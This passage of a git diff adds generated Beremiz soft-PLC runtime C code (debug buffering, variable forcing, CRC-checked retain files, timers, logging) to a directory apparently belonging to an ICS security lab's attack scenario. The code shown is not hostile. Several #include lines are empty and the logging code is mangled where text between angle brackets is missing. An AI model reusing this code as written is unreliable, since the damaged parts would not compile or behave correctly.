NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o new file mode 100644 index 0000000..b9d0e3e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) 